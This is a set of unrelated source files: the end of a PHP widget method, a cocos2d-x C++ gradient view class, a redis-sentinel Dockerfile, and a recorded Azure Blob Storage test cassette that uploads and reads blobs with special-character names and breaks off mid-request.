$this->option_name, $settings ); } unset( $settings['_multiwidget'], $settings['__i__'] ); return $settings; } }
{ "pile_set_name": "Github" }
/**************************************************************************** Copyright (c) 2014 Lijunlin - Jason lee Created by Lijunlin - Jason lee on 2014 [email protected] http://www.cocos2d-x.org Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ****************************************************************************/ #include "GradientView.h" NS_CC_WIDGET_BEGIN CGradientView::CGradientView() { } CGradientView::~CGradientView() { } CGradientView* CGradientView::create() { CGradientView* pRet = new CGradientView(); if( pRet && pRet->init() ) { pRet->autorelease(); return pRet; } CC_SAFE_DELETE(pRet); return NULL; } CGradientView* CGradientView::create(const ccColor4B& tStart, const ccColor4B& tEnd) { CGradientView* pRet = new CGradientView(); if( pRet && pRet->initWithColor(tStart, tEnd) ) { pRet->autorelease(); return pRet; } CC_SAFE_DELETE(pRet); return NULL; } CGradientView* CGradientView::create(const ccColor4B& tStart, const ccColor4B& tEnd, const CCPoint& v) { CGradientView* pRet = new CGradientView(); if( pRet && pRet->initWithColor(tStart, tEnd, v) ) { pRet->autorelease(); return pRet; } CC_SAFE_DELETE(pRet); return NULL; } bool CGradientView::init() { return initWithColor(ccc4(0, 0, 0, 255), ccc4(0, 0, 0, 255)); } bool CGradientView::initWithColor(const ccColor4B& tStart, const ccColor4B& tEnd) { return initWithColor(tStart, tEnd, CCPoint(0, -1)); } bool CGradientView::initWithColor(const ccColor4B& tStart, const ccColor4B& tEnd, const CCPoint& v) { m_tEndColor.r = tEnd.r; m_tEndColor.g = tEnd.g; m_tEndColor.b = tEnd.b; m_cEndOpacity = tEnd.a; m_cStartOpacity = tStart.a; m_tAlongVector = v; m_bCompressedInterpolation = true; return CColorView::initWithColor(ccc4(tStart.r, tStart.g, tStart.b, 255)); } void CGradientView::setStartColor(const ccColor3B& tColor) { m_tStartColor = tColor; } const ccColor3B& CGradientView::getStartColor() { return m_tStartColor; } void CGradientView::setEndColor(const ccColor3B& tColor) { m_tEndColor = tColor; updateColor(); } const ccColor3B& CGradientView::getEndColor() { return m_tEndColor; } void CGradientView::setStartOpacity(GLubyte cOpacity) { m_cStartOpacity = cOpacity; updateColor(); } GLubyte CGradientView::getStartOpacity() { return m_cStartOpacity; } void CGradientView::setEndOpacity(GLubyte cOpacity) { m_cEndOpacity = cOpacity; updateColor(); } GLubyte CGradientView::getEndOpacity() { return m_cEndOpacity; } void CGradientView::setVector(const CCPoint& tPoint) { m_tAlongVector = tPoint; updateColor(); } const CCPoint& CGradientView::getVector() { return m_tAlongVector; } void CGradientView::setCompressedInterpolation(bool bCompressedInterpolation) { m_bCompressedInterpolation = bCompressedInterpolation; updateColor(); } bool CGradientView::isCompressedInterpolation() { return m_bCompressedInterpolation; } void CGradientView::updateColor() { CColorView::updateColor(); float h = ccpLength(m_tAlongVector); if( (int)h == 0 ) return; float c = sqrtf(2.0f); CCPoint u = CCPoint(m_tAlongVector.x / h, m_tAlongVector.y / h); // Compressed Interpolation mode if( m_bCompressedInterpolation ) { float h2 = 1 / ( fabsf(u.x) + fabsf(u.y) ); u = ccpMult(u, h2 * (float)c); } float opacityf = (float)_displayedOpacity / 255.0f; ccColor4F S = { _displayedColor.r / 255.0f, _displayedColor.g / 255.0f, _displayedColor.b / 255.0f, m_cStartOpacity * opacityf / 255.0f }; ccColor4F E = { m_tEndColor.r / 255.0f, m_tEndColor.g / 255.0f, m_tEndColor.b / 255.0f, m_cEndOpacity * opacityf / 255.0f }; // (-1, -1) m_pSquareColors[0].r = E.r + (S.r - E.r) * ((c + u.x + u.y) / (2.0f * c)); m_pSquareColors[0].g = E.g + (S.g - E.g) * ((c + u.x + u.y) / (2.0f * c)); m_pSquareColors[0].b = E.b + (S.b - E.b) * ((c + u.x + u.y) / (2.0f * c)); m_pSquareColors[0].a = E.a + (S.a - E.a) * ((c + u.x + u.y) / (2.0f * c)); // (1, -1) m_pSquareColors[1].r = E.r + (S.r - E.r) * ((c - u.x + u.y) / (2.0f * c)); m_pSquareColors[1].g = E.g + (S.g - E.g) * ((c - u.x + u.y) / (2.0f * c)); m_pSquareColors[1].b = E.b + (S.b - E.b) * ((c - u.x + u.y) / (2.0f * c)); m_pSquareColors[1].a = E.a + (S.a - E.a) * ((c - u.x + u.y) / (2.0f * c)); // (-1, 1) m_pSquareColors[2].r = E.r + (S.r - E.r) * ((c + u.x - u.y) / (2.0f * c)); m_pSquareColors[2].g = E.g + (S.g - E.g) * ((c + u.x - u.y) / (2.0f * c)); m_pSquareColors[2].b = E.b + (S.b - E.b) * ((c + u.x - u.y) / (2.0f * c)); m_pSquareColors[2].a = E.a + (S.a - E.a) * ((c + u.x - u.y) / (2.0f * c)); // (1, 1) m_pSquareColors[3].r = E.r + (S.r - E.r) * ((c - u.x - u.y) / (2.0f * c)); m_pSquareColors[3].g = E.g + (S.g - E.g) * ((c - u.x - u.y) / (2.0f * c)); m_pSquareColors[3].b = E.b + (S.b - E.b) * ((c - u.x - u.y) / (2.0f * c)); m_pSquareColors[3].a = E.a + (S.a - E.a) * ((c - u.x - u.y) / (2.0f * c)); } NS_CC_WIDGET_END
{ "pile_set_name": "Github" }
FROM redis-py-base:latest COPY sentinel.conf /usr/local/etc/redis/sentinel.conf EXPOSE 26381 CMD [ "redis-sentinel", "/usr/local/etc/redis/sentinel.conf" ]
{ "pile_set_name": "Github" }
interactions: - request: body: '-' headers: Connection: [keep-alive] Content-Length: ['1'] User-Agent: [Azure-Storage/1.4.0-2.0.0 (Python CPython 3.7.0; Darwin 18.5.0)] x-ms-blob-type: [BlockBlob] x-ms-client-request-id: [bb6a2cac-71f4-11e9-b134-acde48001122] x-ms-date: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-version: ['2018-11-09'] method: PUT uri: https://storagename.blob.core.windows.net/utcontainer32bc1531/-a-a- response: body: {string: ''} headers: Content-Length: ['0'] Content-MD5: [M21evFQ2U05h0W5j3fyjJw==] Date: ['Thu, 09 May 2019 00:52:33 GMT'] ETag: ['"0x8D6D4189FAB1657"'] Last-Modified: ['Thu, 09 May 2019 00:52:34 GMT'] Server: [Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0] x-ms-request-id: [d0beb58d-201e-0010-8001-06f9cd000000] x-ms-request-server-encrypted: ['true'] x-ms-version: ['2018-11-09'] status: {code: 201, message: Created} - request: body: null headers: Connection: [keep-alive] User-Agent: [Azure-Storage/1.4.0-2.0.0 (Python CPython 3.7.0; Darwin 18.5.0)] x-ms-client-request-id: [bb7ddd60-71f4-11e9-b134-acde48001122] x-ms-date: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-range: [bytes=0-33554431] x-ms-version: ['2018-11-09'] method: GET uri: https://storagename.blob.core.windows.net/utcontainer32bc1531/-a-a- response: body: {string: '-'} headers: Accept-Ranges: [bytes] Content-Length: ['1'] Content-Range: [bytes 0-0/1] Content-Type: [application/octet-stream] Date: ['Thu, 09 May 2019 00:52:33 GMT'] ETag: ['"0x8D6D4189FAB1657"'] Last-Modified: ['Thu, 09 May 2019 00:52:34 GMT'] Server: [Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0] Vary: [Origin] x-ms-blob-content-md5: [M21evFQ2U05h0W5j3fyjJw==] x-ms-blob-type: [BlockBlob] x-ms-creation-time: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-lease-state: [available] x-ms-lease-status: [unlocked] x-ms-request-id: [d0beb5b7-201e-0010-2801-06f9cd000000] x-ms-server-encrypted: ['true'] x-ms-tag-count: ['0'] x-ms-version: ['2018-11-09'] status: {code: 206, message: Partial Content} - request: body: . headers: Connection: [keep-alive] Content-Length: ['1'] User-Agent: [Azure-Storage/1.4.0-2.0.0 (Python CPython 3.7.0; Darwin 18.5.0)] x-ms-blob-type: [BlockBlob] x-ms-client-request-id: [bb836d8e-71f4-11e9-b134-acde48001122] x-ms-date: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-version: ['2018-11-09'] method: PUT uri: https://storagename.blob.core.windows.net/utcontainer32bc1531/.a.a. response: body: {string: ''} headers: Content-Length: ['0'] Content-MD5: [UFjxr4OIYz9gnK23WnXcnQ==] Date: ['Thu, 09 May 2019 00:52:33 GMT'] ETag: ['"0x8D6D4189FB663BC"'] Last-Modified: ['Thu, 09 May 2019 00:52:34 GMT'] Server: [Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0] x-ms-request-id: [d0beb5d9-201e-0010-4601-06f9cd000000] x-ms-request-server-encrypted: ['true'] x-ms-version: ['2018-11-09'] status: {code: 201, message: Created} - request: body: null headers: Connection: [keep-alive] User-Agent: [Azure-Storage/1.4.0-2.0.0 (Python CPython 3.7.0; Darwin 18.5.0)] x-ms-client-request-id: [bb893c64-71f4-11e9-b134-acde48001122] x-ms-date: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-range: [bytes=0-33554431] x-ms-version: ['2018-11-09'] method: GET uri: https://storagename.blob.core.windows.net/utcontainer32bc1531/.a.a. response: body: {string: .} headers: Accept-Ranges: [bytes] Content-Length: ['1'] Content-Range: [bytes 0-0/1] Content-Type: [application/octet-stream] Date: ['Thu, 09 May 2019 00:52:33 GMT'] ETag: ['"0x8D6D4189FB663BC"'] Last-Modified: ['Thu, 09 May 2019 00:52:34 GMT'] Server: [Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0] Vary: [Origin] x-ms-blob-content-md5: [UFjxr4OIYz9gnK23WnXcnQ==] x-ms-blob-type: [BlockBlob] x-ms-creation-time: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-lease-state: [available] x-ms-lease-status: [unlocked] x-ms-request-id: [d0beb5f4-201e-0010-5e01-06f9cd000000] x-ms-server-encrypted: ['true'] x-ms-tag-count: ['0'] x-ms-version: ['2018-11-09'] status: {code: 206, message: Partial Content} - request: body: _ headers: Connection: [keep-alive] Content-Length: ['1'] User-Agent: [Azure-Storage/1.4.0-2.0.0 (Python CPython 3.7.0; Darwin 18.5.0)] x-ms-blob-type: [BlockBlob] x-ms-client-request-id: [bb8ef32a-71f4-11e9-b134-acde48001122] x-ms-date: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-version: ['2018-11-09'] method: PUT uri: https://storagename.blob.core.windows.net/utcontainer32bc1531/_a_a_ response: body: {string: ''} headers: Content-Length: ['0'] Content-MD5: [sUp7gFnZwFWVTJJnTOYAMg==] Date: ['Thu, 09 May 2019 00:52:33 GMT'] ETag: ['"0x8D6D4189FC1D83B"'] Last-Modified: ['Thu, 09 May 2019 00:52:34 GMT'] Server: [Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0] x-ms-request-id: [d0beb60e-201e-0010-7501-06f9cd000000] x-ms-request-server-encrypted: ['true'] x-ms-version: ['2018-11-09'] status: {code: 201, message: Created} - request: body: null headers: Connection: [keep-alive] User-Agent: [Azure-Storage/1.4.0-2.0.0 (Python CPython 3.7.0; Darwin 18.5.0)] x-ms-client-request-id: [bb947002-71f4-11e9-b134-acde48001122] x-ms-date: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-range: [bytes=0-33554431] x-ms-version: ['2018-11-09'] method: GET uri: https://storagename.blob.core.windows.net/utcontainer32bc1531/_a_a_ response: body: {string: _} headers: Accept-Ranges: [bytes] Content-Length: ['1'] Content-Range: [bytes 0-0/1] Content-Type: [application/octet-stream] Date: ['Thu, 09 May 2019 00:52:33 GMT'] ETag: ['"0x8D6D4189FC1D83B"'] Last-Modified: ['Thu, 09 May 2019 00:52:34 GMT'] Server: [Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0] Vary: [Origin] x-ms-blob-content-md5: [sUp7gFnZwFWVTJJnTOYAMg==] x-ms-blob-type: [BlockBlob] x-ms-creation-time: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-lease-state: [available] x-ms-lease-status: [unlocked] x-ms-request-id: [d0beb623-201e-0010-0501-06f9cd000000] x-ms-server-encrypted: ['true'] x-ms-tag-count: ['0'] x-ms-version: ['2018-11-09'] status: {code: 206, message: Partial Content} - request: body: ' ' headers: Connection: [keep-alive] Content-Length: ['1'] User-Agent: [Azure-Storage/1.4.0-2.0.0 (Python CPython 3.7.0; Darwin 18.5.0)] x-ms-blob-type: [BlockBlob] x-ms-client-request-id: [bb99a19e-71f4-11e9-b134-acde48001122] x-ms-date: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-version: ['2018-11-09'] method: PUT uri: https://storagename.blob.core.windows.net/utcontainer32bc1531/%20a%20a%20 response: body: {string: ''} headers: Content-Length: ['0'] Content-MD5: [chXunH2dwinSkhpA6JnsXw==] Date: ['Thu, 09 May 2019 00:52:33 GMT'] ETag: ['"0x8D6D4189FCC8932"'] Last-Modified: ['Thu, 09 May 2019 00:52:34 GMT'] Server: [Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0] x-ms-request-id: [d0beb636-201e-0010-1801-06f9cd000000] x-ms-request-server-encrypted: ['true'] x-ms-version: ['2018-11-09'] status: {code: 201, message: Created} - request: body: null headers: Connection: [keep-alive] User-Agent: [Azure-Storage/1.4.0-2.0.0 (Python CPython 3.7.0; Darwin 18.5.0)] x-ms-client-request-id: [bb9f4284-71f4-11e9-b134-acde48001122] x-ms-date: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-range: [bytes=0-33554431] x-ms-version: ['2018-11-09'] method: GET uri: https://storagename.blob.core.windows.net/utcontainer32bc1531/%20a%20a%20 response: body: {string: ' '} headers: Accept-Ranges: [bytes] Content-Length: ['1'] Content-Range: [bytes 0-0/1] Content-Type: [application/octet-stream] Date: ['Thu, 09 May 2019 00:52:33 GMT'] ETag: ['"0x8D6D4189FCC8932"'] Last-Modified: ['Thu, 09 May 2019 00:52:34 GMT'] Server: [Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0] Vary: [Origin] x-ms-blob-content-md5: [chXunH2dwinSkhpA6JnsXw==] x-ms-blob-type: [BlockBlob] x-ms-creation-time: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-lease-state: [available] x-ms-lease-status: [unlocked] x-ms-request-id: [d0beb65c-201e-0010-3a01-06f9cd000000] x-ms-server-encrypted: ['true'] x-ms-tag-count: ['0'] x-ms-version: ['2018-11-09'] status: {code: 206, message: Partial Content} - request: body: / headers: Connection: [keep-alive] Content-Length: ['1'] User-Agent: [Azure-Storage/1.4.0-2.0.0 (Python CPython 3.7.0; Darwin 18.5.0)] x-ms-blob-type: [BlockBlob] x-ms-client-request-id: [bba4bc28-71f4-11e9-b134-acde48001122] x-ms-date: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-version: ['2018-11-09'] method: PUT uri: https://storagename.blob.core.windows.net/utcontainer32bc1531//a/a/ response: body: {string: ''} headers: Content-Length: ['0'] Content-MD5: [ZmbNdvlpVkaee+OddQzH2Q==] Date: ['Thu, 09 May 2019 00:52:33 GMT'] ETag: ['"0x8D6D4189FD7AF76"'] Last-Modified: ['Thu, 09 May 2019 00:52:34 GMT'] Server: [Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0] x-ms-request-id: [d0beb680-201e-0010-5b01-06f9cd000000] x-ms-request-server-encrypted: ['true'] x-ms-version: ['2018-11-09'] status: {code: 201, message: Created} - request: body: null headers: Connection: [keep-alive] User-Agent: [Azure-Storage/1.4.0-2.0.0 (Python CPython 3.7.0; Darwin 18.5.0)] x-ms-client-request-id: [bbaa8acc-71f4-11e9-b134-acde48001122] x-ms-date: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-range: [bytes=0-33554431] x-ms-version: ['2018-11-09'] method: GET uri: https://storagename.blob.core.windows.net/utcontainer32bc1531//a/a/ response: body: {string: /} headers: Accept-Ranges: [bytes] Content-Length: ['1'] Content-Range: [bytes 0-0/1] Content-Type: [application/octet-stream] Date: ['Thu, 09 May 2019 00:52:33 GMT'] ETag: ['"0x8D6D4189FD7AF76"'] Last-Modified: ['Thu, 09 May 2019 00:52:34 GMT'] Server: [Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0] Vary: [Origin] x-ms-blob-content-md5: [ZmbNdvlpVkaee+OddQzH2Q==] x-ms-blob-type: [BlockBlob] x-ms-creation-time: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-lease-state: [available] x-ms-lease-status: [unlocked] x-ms-request-id: [d0beb6a0-201e-0010-7901-06f9cd000000] x-ms-server-encrypted: ['true'] x-ms-tag-count: ['0'] x-ms-version: ['2018-11-09'] status: {code: 206, message: Partial Content} - request: body: ( headers: Connection: [keep-alive] Content-Length: ['1'] User-Agent: [Azure-Storage/1.4.0-2.0.0 (Python CPython 3.7.0; Darwin 18.5.0)] x-ms-blob-type: [BlockBlob] x-ms-client-request-id: [bbafc776-71f4-11e9-b134-acde48001122] x-ms-date: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-version: ['2018-11-09'] method: PUT uri: https://storagename.blob.core.windows.net/utcontainer32bc1531/(a(a( response: body: {string: ''} headers: Content-Length: ['0'] Content-MD5: [hMQEc0FMry7Up7EoPki79A==] Date: ['Thu, 09 May 2019 00:52:33 GMT'] ETag: ['"0x8D6D4189FE2D5C2"'] Last-Modified: ['Thu, 09 May 2019 00:52:34 GMT'] Server: [Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0] x-ms-request-id: [d0beb6bf-201e-0010-1701-06f9cd000000] x-ms-request-server-encrypted: ['true'] x-ms-version: ['2018-11-09'] status: {code: 201, message: Created} - request: body: null headers: Connection: [keep-alive] User-Agent: [Azure-Storage/1.4.0-2.0.0 (Python CPython 3.7.0; Darwin 18.5.0)] x-ms-client-request-id: [bbb5853a-71f4-11e9-b134-acde48001122] x-ms-date: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-range: [bytes=0-33554431] x-ms-version: ['2018-11-09'] method: GET uri: https://storagename.blob.core.windows.net/utcontainer32bc1531/(a(a( response: body: {string: (} headers: Accept-Ranges: [bytes] Content-Length: ['1'] Content-Range: [bytes 0-0/1] Content-Type: [application/octet-stream] Date: ['Thu, 09 May 2019 00:52:33 GMT'] ETag: ['"0x8D6D4189FE2D5C2"'] Last-Modified: ['Thu, 09 May 2019 00:52:34 GMT'] Server: [Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0] Vary: [Origin] x-ms-blob-content-md5: [hMQEc0FMry7Up7EoPki79A==] x-ms-blob-type: [BlockBlob] x-ms-creation-time: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-lease-state: [available] x-ms-lease-status: [unlocked] x-ms-request-id: [d0beb6ce-201e-0010-2501-06f9cd000000] x-ms-server-encrypted: ['true'] x-ms-tag-count: ['0'] x-ms-version: ['2018-11-09'] status: {code: 206, message: Partial Content} - request: body: ) headers: Connection: [keep-alive] Content-Length: ['1'] User-Agent: [Azure-Storage/1.4.0-2.0.0 (Python CPython 3.7.0; Darwin 18.5.0)] x-ms-blob-type: [BlockBlob] x-ms-client-request-id: [bbbab6c2-71f4-11e9-b134-acde48001122] x-ms-date: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-version: ['2018-11-09'] method: PUT uri: https://storagename.blob.core.windows.net/utcontainer32bc1531/)a)a) response: body: {string: ''} headers: Content-Length: ['0'] Content-MD5: [k3HXouOuhqAKq0dx450lXQ==] Date: ['Thu, 09 May 2019 00:52:34 GMT'] ETag: ['"0x8D6D4189FEFAA1E"'] Last-Modified: ['Thu, 09 May 2019 00:52:34 GMT'] Server: [Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0] x-ms-request-id: [d0beb6ec-201e-0010-4101-06f9cd000000] x-ms-request-server-encrypted: ['true'] x-ms-version: ['2018-11-09'] status: {code: 201, message: Created} - request: body: null headers: Connection: [keep-alive] User-Agent: [Azure-Storage/1.4.0-2.0.0 (Python CPython 3.7.0; Darwin 18.5.0)] x-ms-client-request-id: [bbc254b8-71f4-11e9-b134-acde48001122] x-ms-date: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-range: [bytes=0-33554431] x-ms-version: ['2018-11-09'] method: GET uri: https://storagename.blob.core.windows.net/utcontainer32bc1531/)a)a) response: body: {string: )} headers: Accept-Ranges: [bytes] Content-Length: ['1'] Content-Range: [bytes 0-0/1] Content-Type: [application/octet-stream] Date: ['Thu, 09 May 2019 00:52:34 GMT'] ETag: ['"0x8D6D4189FEFAA1E"'] Last-Modified: ['Thu, 09 May 2019 00:52:34 GMT'] Server: [Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0] Vary: [Origin] x-ms-blob-content-md5: [k3HXouOuhqAKq0dx450lXQ==] x-ms-blob-type: [BlockBlob] x-ms-creation-time: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-lease-state: [available] x-ms-lease-status: [unlocked] x-ms-request-id: [d0beb711-201e-0010-6201-06f9cd000000] x-ms-server-encrypted: ['true'] x-ms-tag-count: ['0'] x-ms-version: ['2018-11-09'] status: {code: 206, message: Partial Content} - request: body: $ headers: Connection: [keep-alive] Content-Length: ['1'] User-Agent: [Azure-Storage/1.4.0-2.0.0 (Python CPython 3.7.0; Darwin 18.5.0)] x-ms-blob-type: [BlockBlob] x-ms-client-request-id: [bbcf4f56-71f4-11e9-b134-acde48001122] x-ms-date: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-version: ['2018-11-09'] method: PUT uri: https://storagename.blob.core.windows.net/utcontainer32bc1531/$a$a$ response: body: {string: ''} headers: Content-Length: ['0'] Content-MD5: [w+l91ul/tRJWiMl/NnIMvg==] Date: ['Thu, 09 May 2019 00:52:34 GMT'] ETag: ['"0x8D6D418A0024C52"'] Last-Modified: ['Thu, 09 May 2019 00:52:34 GMT'] Server: [Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0] x-ms-request-id: [d0beb76b-201e-0010-3401-06f9cd000000] x-ms-request-server-encrypted: ['true'] x-ms-version: ['2018-11-09'] status: {code: 201, message: Created} - request: body: null headers: Connection: [keep-alive] User-Agent: [Azure-Storage/1.4.0-2.0.0 (Python CPython 3.7.0; Darwin 18.5.0)] x-ms-client-request-id: [bbd4cc60-71f4-11e9-b134-acde48001122] x-ms-date: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-range: [bytes=0-33554431] x-ms-version: ['2018-11-09'] method: GET uri: https://storagename.blob.core.windows.net/utcontainer32bc1531/$a$a$ response: body: {string: $} headers: Accept-Ranges: [bytes] Content-Length: ['1'] Content-Range: [bytes 0-0/1] Content-Type: [application/octet-stream] Date: ['Thu, 09 May 2019 00:52:34 GMT'] ETag: ['"0x8D6D418A0024C52"'] Last-Modified: ['Thu, 09 May 2019 00:52:34 GMT'] Server: [Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0] Vary: [Origin] x-ms-blob-content-md5: [w+l91ul/tRJWiMl/NnIMvg==] x-ms-blob-type: [BlockBlob] x-ms-creation-time: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-lease-state: [available] x-ms-lease-status: [unlocked] x-ms-request-id: [d0beb792-201e-0010-5401-06f9cd000000] x-ms-server-encrypted: ['true'] x-ms-tag-count: ['0'] x-ms-version: ['2018-11-09'] status: {code: 206, message: Partial Content} - request: body: '=' headers: Connection: [keep-alive] Content-Length: ['1'] User-Agent: [Azure-Storage/1.4.0-2.0.0 (Python CPython 3.7.0; Darwin 18.5.0)] x-ms-blob-type: [BlockBlob] x-ms-client-request-id: [bbda020c-71f4-11e9-b134-acde48001122] x-ms-date: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-version: ['2018-11-09'] method: PUT uri: https://storagename.blob.core.windows.net/utcontainer32bc1531/=a=a= response: body: {string: ''} headers: Content-Length: ['0'] Content-MD5: [Q+w+Xe5ucGr3dm//6lEnIQ==] Date: ['Thu, 09 May 2019 00:52:34 GMT'] ETag: ['"0x8D6D418A00CFD44"'] Last-Modified: ['Thu, 09 May 2019 00:52:34 GMT'] Server: [Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0] x-ms-request-id: [d0beb7b6-201e-0010-7201-06f9cd000000] x-ms-request-server-encrypted: ['true'] x-ms-version: ['2018-11-09'] status: {code: 201, message: Created} - request: body: null headers: Connection: [keep-alive] User-Agent: [Azure-Storage/1.4.0-2.0.0 (Python CPython 3.7.0; Darwin 18.5.0)] x-ms-client-request-id: [bbdfdd26-71f4-11e9-b134-acde48001122] x-ms-date: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-range: [bytes=0-33554431] x-ms-version: ['2018-11-09'] method: GET uri: https://storagename.blob.core.windows.net/utcontainer32bc1531/=a=a= response: body: {string: '='} headers: Accept-Ranges: [bytes] Content-Length: ['1'] Content-Range: [bytes 0-0/1] Content-Type: [application/octet-stream] Date: ['Thu, 09 May 2019 00:52:34 GMT'] ETag: ['"0x8D6D418A00CFD44"'] Last-Modified: ['Thu, 09 May 2019 00:52:34 GMT'] Server: [Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0] Vary: [Origin] x-ms-blob-content-md5: [Q+w+Xe5ucGr3dm//6lEnIQ==] x-ms-blob-type: [BlockBlob] x-ms-creation-time: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-lease-state: [available] x-ms-lease-status: [unlocked] x-ms-request-id: [d0beb7d2-201e-0010-0e01-06f9cd000000] x-ms-server-encrypted: ['true'] x-ms-tag-count: ['0'] x-ms-version: ['2018-11-09'] status: {code: 206, message: Partial Content} - request: body: '''' headers: Connection: [keep-alive] Content-Length: ['1'] User-Agent: [Azure-Storage/1.4.0-2.0.0 (Python CPython 3.7.0; Darwin 18.5.0)] x-ms-blob-type: [BlockBlob] x-ms-client-request-id: [bbe54ae0-71f4-11e9-b134-acde48001122] x-ms-date: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-version: ['2018-11-09'] method: PUT uri: https://storagename.blob.core.windows.net/utcontainer32bc1531/'a'a' response: body: {string: ''} headers: Content-Length: ['0'] Content-MD5: [NZDLivC7ueeMNDtSuTdzyQ==] Date: ['Thu, 09 May 2019 00:52:34 GMT'] ETag: ['"0x8D6D418A0184AA6"'] Last-Modified: ['Thu, 09 May 2019 00:52:34 GMT'] Server: [Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0] x-ms-request-id: [d0beb7f0-201e-0010-2a01-06f9cd000000] x-ms-request-server-encrypted: ['true'] x-ms-version: ['2018-11-09'] status: {code: 201, message: Created} - request: body: null headers: Connection: [keep-alive] User-Agent: [Azure-Storage/1.4.0-2.0.0 (Python CPython 3.7.0; Darwin 18.5.0)] x-ms-client-request-id: [bbeb17c2-71f4-11e9-b134-acde48001122] x-ms-date: ['Thu, 09 May 2019 00:52:35 GMT'] x-ms-range: [bytes=0-33554431] x-ms-version: ['2018-11-09'] method: GET uri: https://storagename.blob.core.windows.net/utcontainer32bc1531/'a'a' response: body: {string: ''''} headers: Accept-Ranges: [bytes] Content-Length: ['1'] Content-Range: [bytes 0-0/1] Content-Type: [application/octet-stream] Date: ['Thu, 09 May 2019 00:52:34 GMT'] ETag: ['"0x8D6D418A0184AA6"'] Last-Modified: ['Thu, 09 May 2019 00:52:34 GMT'] Server: [Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0] Vary: [Origin] x-ms-blob-content-md5: [NZDLivC7ueeMNDtSuTdzyQ==] x-ms-blob-type: [BlockBlob] x-ms-creation-time: ['Thu, 09 May 2019 00:52:34 GMT'] x-ms-lease-state: [available] x-ms-lease-status: [unlocked] x-ms-request-id: [d0beb810-201e-0010-4901-06f9cd000000] x-ms-server-encrypted: ['true'] x-ms-tag-count: ['0'] x-ms-version: ['2018-11-09'] status: {code: 206, message: Partial Content} - request: body: ',' headers: Connection: [keep-alive] Content-Length: ['1'] User-Agent: [Azure-Storage/1.4.0-2.0.0 (Python CPython 3.7.0; Darwin 18.5.0)] x-ms-blob-type: [BlockBlob] x-ms-client-request-id: [bbf0974c-71f4-11e9-b134-acde48001122] x-ms-date: ['Thu, 09 May 2019 00:52:35 GMT'] x-ms-version: ['2018-11-09'] method: PUT uri: https://storagename.blob.core.windows.net/utcontainer32bc1531/,a,a, response: body: {string: ''} headers: Content-Length: ['0'] Content-MD5: [wMtfD88jmrPZwfzTH/8e/A==] Date: ['Thu, 09 May 2019 00:52:34 GMT'] ETag: ['"0x8D6D418A023BF2B"'] Last-Modified: ['Thu, 09 May 2019 00:52:35 GMT'] Server: [Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0] x-ms-request-id: [d0beb82a-201e-0010-6001-06f9cd000000] x-ms-request-server-encrypted: ['true'] x-ms-version: ['2018-11-09'] status: {code: 201, message: Created} - request: body: null headers: Connection: [keep-alive] User-Agent: [Azure-Storage/1.4.0-2.0.0 (Python CPython 3.7.0; Darwin 18.5.0)] x-ms-client-request-id: [bbf68cc4-71f4-11e9-b134-acde48001122] x-ms-date: ['Thu, 09 May 2019 00:52:35 GMT'] x-ms-range: 